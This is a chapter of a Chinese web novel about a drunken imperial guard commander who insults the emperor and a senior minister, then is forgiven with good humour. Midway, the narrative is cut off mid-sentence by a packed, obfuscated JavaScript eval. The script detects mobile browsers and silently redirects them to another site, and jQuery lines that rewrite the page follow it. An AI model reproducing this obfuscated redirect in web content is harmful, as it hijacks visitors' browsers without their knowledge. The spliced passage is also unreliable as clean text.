117. 第一百一十七章
作品:《扑朔》 当皇帝当了几年,宣旻还是第一次听见有人敢当面骂他。
他非但不恼,反而露出个狡黠的笑。他伏低身子,悄声凑近。那男声愈发清晰起来,内容简直粗鄙不堪:“狗屁老头儿,倚老卖老的东西!我呸!仗着祖上有功,上朝还敢坐着!老泼皮,圣上就该给他腿掰断喽!唉!
还有他那个孙子,比我上次猎来的那头野猪还胖!眼瞧着到年节了,他当真该躲着点屠户才是,当心别被剁成了臊子!哈哈哈哈!”
宁逸王也没料想到会是这种情况。他看着面前拎着酒壶,不住地往嘴里灌酒的康统领,只能尴尬地附和几句:“呵呵……是啊……是这么个道理……”
“要我说,圣上就是性子太软了!那朝廷上多少人,光吃不干的!我出去巡一趟逻,一放马能撞死三个大官!也不知道这么多人都是干什么吃的,这案子案子查不动、钱财钱财见不着,养着他们做甚!不如都发配到边疆去,戍两年边就老实了!”
“对对对……”宁逸王慌张地四下张望着,他素日里总是弯成月牙的眸子此刻瞪得老大。他不过是带上好酒去结交刚换防的康统领,怎知这朝上就传来了林长亭被当众罚跪的消息。康统领本就心直口快,几杯下肚更是口无遮拦,竟把对太师的不满一股脑全倾泻了出来。
他一边说一边用手指着皇宫的方向,唾沫星子横飞:“还有那个姓林,看着文弱,骨头倒硬!换做是我,早一拳把他那满嘴老牙打飞了!不过话说回来,圣上也是,明知道太师那老狐狸没安好心,还让林御史去受那份罪!这不是把人往火坑里推吗?我看哪,这朝廷啊……”
“好了好了康统领……你消消气……”宁逸王慌张地哄着他,“圣上也有自己的苦衷,你有什么怨气,咱们回了府再说……现在可是在玉津园里,当心隔墙有耳啊……”
“我,我怕他!”康冼大手一挥,给宁逸王拽了一个趔趄,人都飞出去两米,“谁来!我就揍谁!圣上怕他,我可不怕!姓贾的,老乔才!狗彘之徒!直娘贼!我……”
这一连串的污言秽语,饶是平日里见惯了风浪的宁逸王也觉得有些不堪入耳。他揉了揉自己被甩得酸痛的后腰,手脚并用地试图上去捂住康冼的嘴。只是他一介风流王爷,又岂能撼动禁军统领半分?
他非但没能捂住对方的嘴,反而被康冼反手一推,踉跄着跌坐在雪地里,溅起一片细碎的雪沫。
康冼此刻已是醉眼朦胧,哪里还分得清眼前是谁,只觉得有人碍事,嘴里嘟囔着:“别碰我……让我说完……嗝……”
他打了个酒嗝,酒气熏天,“我康冼跟着镇北王在边关出生入死,保家卫国,可不是为了看这些蛀虫在京城作威作福的!圣上……圣上他……他糊涂!先皇也糊涂!都他妈糊涂!”
“哦?那康统领说说,朕是哪里糊涂?”
“那还用说?镇北王有什么错!就是因为东梁重文轻武,贾渊那老村牛说什么就是什么了?凭什么!”
康冼非但没有醒酒,反而愈发激动起来,他手舞足蹈地行至圣上身前,“你,你去告诉那太师老头儿……别人怕他,我可不怕!就他那废物孙子……我,我能打他十个!不……二十个!”
“好,若是得了机会,朕让你和他比试比试。”宣旻轻笑一声,“看来是朕平日太过优柔寡断,才让康大统领瞧不起了。”
林长亭赶忙上前拉住这个酒鬼:“康统领……康冼!醒醒!陛下来了!”
“陛下?什么陛下……”康冼摇晃着去推林长亭的手,不想却没能掰动他半分,“哟……你个臭小子,有点子功夫……”
要不还是装死吧。
面朝下跌进雪里的宁逸王这样想到。
他们三人闹作一团,正好没人看得到自己。他顾不上寒冷,干干脆脆地把脸埋得更深了。
“别看我……看不见我……千万别看我……”
“宁逸王……今天你怎么也有雅兴赏景呀?”圣上不知何时绕到了他的背后,此时正饶有兴味地看着他一抖一抖的屁股,“这雪里有什么呀?给朕也看看呗?”
宁逸王深知躲不过,只得慢吞吞地从雪地里爬起来,拍了拍身上的雪,脸上挤出一个比哭还难看的笑容:“陛,陛下……臣……臣只是觉得这雪地松软,躺上去甚是舒服,就……就多躺了会儿。”
“哎!那个穿白衣服的!不许躲酒!”康冼踉跄着向两人的方向走来,手里还挥舞着酒壶,“这个,这个瘦了吧唧的……你,你也喝……你谁啊……”
林长亭简直是又好气又好笑,这康冼本就武功高强、一身腱子肉,这喝多了更是十匹马都拉不住他。他此刻活像只犁地的老牛,只得眼睁睁地看着康冼把自己在拖行出两道辙印。
宣旻也不恼,只是饶有兴致地打量着康冼:“朕是谁不重要。重要的是,康统领刚才一番话,倒是让朕茅塞顿开啊。”他笑了笑,目光转向宁逸王,“宁逸王,你说呢?”
完了。
宁逸王心里咯噔一下,这康冼闯下的祸,怕是要把自己也给连累进去了。他连忙躬身道:“陛下,康统领他……他喝多了,胡言乱语,您千万别往心里去啊!回头臣一定好好教训他!是吧!是吧林大人!”
林长亭默默将头转到一边,故意不去接他的话。
宁逸王几乎是咬着后槽牙又问了一遍:“林大人!你说是吧?!”
这家伙从小就是这样!他几乎要气得背过气去,这家伙一遇到什么事就一副事不关己的样子!当年在太傅书房,就是他把抄错的《论语》偷偷塞进自己袖袋,他却装作若无其事,害得自己莫名其妙地挨了一顿戒尺。
林长亭眼角的余光瞥见宁逸王那张快要拧成麻花的脸,嘴角几不可察地弯了弯,这才慢悠悠开口:“宁逸王所言极是,康统领今日确是多饮了几杯,言语无状,还望陛下恕罪。”
“你们两个……叽里咕噜地说什么呢……”康冼凑近圣上,仔细端详起来,“你这人……怎么好生眼熟……”
见他并无伤人之意,宣旻摆摆手示意林长亭放开他。没了林长亭的束缚,康冼更是放肆起来,他低下头,仔仔细细地看着这个比自己矮上一个头的小个子,“哎呦……你怎么这么瘦……真该好好补补,回头大哥我请你吃饭……”
宣旻还是保持着一贯的和善:“那就有劳康大哥了。”
“哎不对……你这人我在哪儿见过似的……”康冼眯着醉眼,他近得几乎要碰到到宣旻的鼻尖,“你……你是……”
“康统领倒是好好说说……朕是谁?”
康冼愈发觉得不对劲,边关的风沙吹出来的直觉正在拖拽着他的理智,他又揉了揉眼睛,终于看清了面前这个清瘦的年轻人的面容——
“陛……陛陛陛下?啊?陛下!”
康冼酒意瞬间醒了大半,手里的酒壶“哐当”一声掉在地上,酒水混着雪水迅速漫开。他“噗通”一声跪倒在地,脑袋磕在冻土上发出沉闷的声响:“臣……臣罪该万死!臣……臣喝多了胡言乱语,冒犯天威,请陛下治罪!”
他这一跪,震得旁边的积雪簌簌落下,残留的醉意早已被恐惧替代,方才那股天不怕地不怕的嚣张气焰荡然无存,只剩下惶恐与不安。
宣旻看着他这副前倨后恭的模样,嘴角噙着一丝若有若无的笑意,却并未立刻叫他起身。
他缓步走到那摔碎的酒壶旁,踢了踢地上的陶片,声音平静无波:“康统领刚才不是说,朕心瞎眼盲,性子太软,还糊涂吗?怎么这会儿,倒是认得出朕了?”
“臣……臣混账!臣该打!”康冼说着,便扬手要往自己脸上扇去。
林长亭眼疾手快,上前一步按住了他的手腕:“康统领,你固然有罪……可也要听听陛下怎么说才是吧。”
“是……是……”康冼此刻早已是面如死灰,他将头伏得低低的,就连呼吸都变得小心翼翼。
“康统领,你刚才虽是酒后昏话……”皇帝随手折下一枝梅花,在雪地上随意划弄着,“但你……是否所言真心?”
“臣……臣……”康冼不知该说些什么,刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129049|185365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚的醉意早已被惊吓和寒意驱走了大半,虽然他并未等到预想中的腥风血雨,可伴君如伴虎的道理就算是他也是明白的。此刻他一言一行都需得仔细斟酌,万万不能再有任何闪失,否则别说这统领之位了,就连这颗项上人头能不能保住都犹未可知。
他大着胆子抬起头,他的皇帝陛下正饶有兴味地抚摸着红梅,看上去并未真正动怒。
“臣……臣斗胆,臣有一问……”
“康统领一向为人直爽,何时也学会说话吞吞吐吐的了?”林长亭调笑道,他使了个眼色,“在陛下面前,有话直说。”
康冼喉头滚动,深吸一口气,像是下定了某种决心,粗声粗气道:“臣斗胆请问陛下,那贾太师权倾朝野,其门下势力更是横行无忌。陛下……陛下为何坐视不理?难道陛下真的心有顾忌……”
宣旻笑着将梅花插进土里,一抹红色瞬间绽放在雪白之中。他笑着看向瑟缩在一旁的人,声音里是按捺不住的笑意:“宁逸王……你觉得呢?”
宁逸王正苦着脸,见皇帝又把话头抛给自己,只觉得头皮发麻,他偷偷瞄了一眼面如死水的康冼,又看了看气定神闲的宣旻,嗫嚅道:“这……这朝廷之事,臣……臣一个闲散王爷,哪里懂得这些……陛下英明神武,自有圣断……”
他恨不得找个地缝钻进去,早知道今日会撞见这等事,他说什么也不会约康冼来这玉津园。
宣旻却不依不饶,往前走了两步,居高临下地看着他:“哦?闲散王爷?朕记得,前几日你还在朕面前抱怨,说府里的用度拮据,想让朕给你添些产业。怎么,这会子倒成了什么都不懂的闲散人了?”
宁逸王被噎得说不出话来,脸上红一阵白一阵,只得一个劲地给林长亭使眼色。林长亭却仿佛没看见一般,只是垂手立在一旁,神色平静。
“那是因为……臣也是带人去赈灾了的……还在您嘉奖的义商苏玉淑那里定了不少货品……”
见他这副心虚的模样,林长亭又遏制不住地勾了勾嘴角。
“康统领,”宣旻终于收回目光,重新转向跪在地上的康冼,语气听不出喜怒,“你问朕为何坐视不理?朕且问你,你在边关,若遇强敌,该当如何?”
康冼一怔,下意识挺直了背脊,即便跪在雪地里,也透着一股军人的硬朗:“若遇强敌,当察其虚实,避其锋芒,寻其破绽,一击制敌!”
话一出口,他猛地抬头看向宣旻,浑浊的醉眼瞬间清亮了几分,“陛下的意思是……”
宣旻拾起一片飘落的梅瓣,指尖轻轻碾过:“贾渊在朝经营数十载,党羽遍布,盘根错节。若朕贸然动手,打草惊蛇不说,怕是还会动摇国本。你在边关杀惯了敌人,可知朝堂之上的刀光剑影,比沙场更凶险几分?”
康冼喉头动了动,额上渗出细密的冷汗。他原以为陛下是忌惮太师势力,却没想到这看似温和的君主,心里早已布下了棋局。
“今日之事,我不怪你。你一心为国、忠肝义胆,只是性子太急。”宣旻上前一步,亲手将康冼扶起,“起来吧,地上凉。你为东梁戍守边疆,劳苦功高,现在又统领禁军,其中辛苦,朕并非不知……朕岂会因几句醉话便降罪于你?”
“至于你嘛……”他又望向宁逸王,“既然是结交义商,那自然小气不得。朕就罚你多在她那里花些银子,也少浪费些银钱买酒吃。康统领,今后若是馋酒了,只管到朕这里来,畅所欲言,好酒管够。”
林长亭看着宁逸王那副吃瘪又不敢言的样子,眼底的笑意更深了些,只是依旧维持着沉稳的神色,上前一步道:“陛下仁德,康统领忠心可嘉,宁逸王亦是心系百姓,实乃东梁之福。”
宣旻满意地点点头,目光扫过三人,最后落在那片被酒水浸湿的雪地和摔碎的酒壶上,轻笑道:“好了,今日之事,权当是一场醉话。虽未赏成雪景,却见识了一出好戏。时辰不早了,朕要先回去处理政务。林大人,宁逸王……你们两个与我一同回去。康冼,你且回去歇息,明日换防之后,到勤德殿来。”

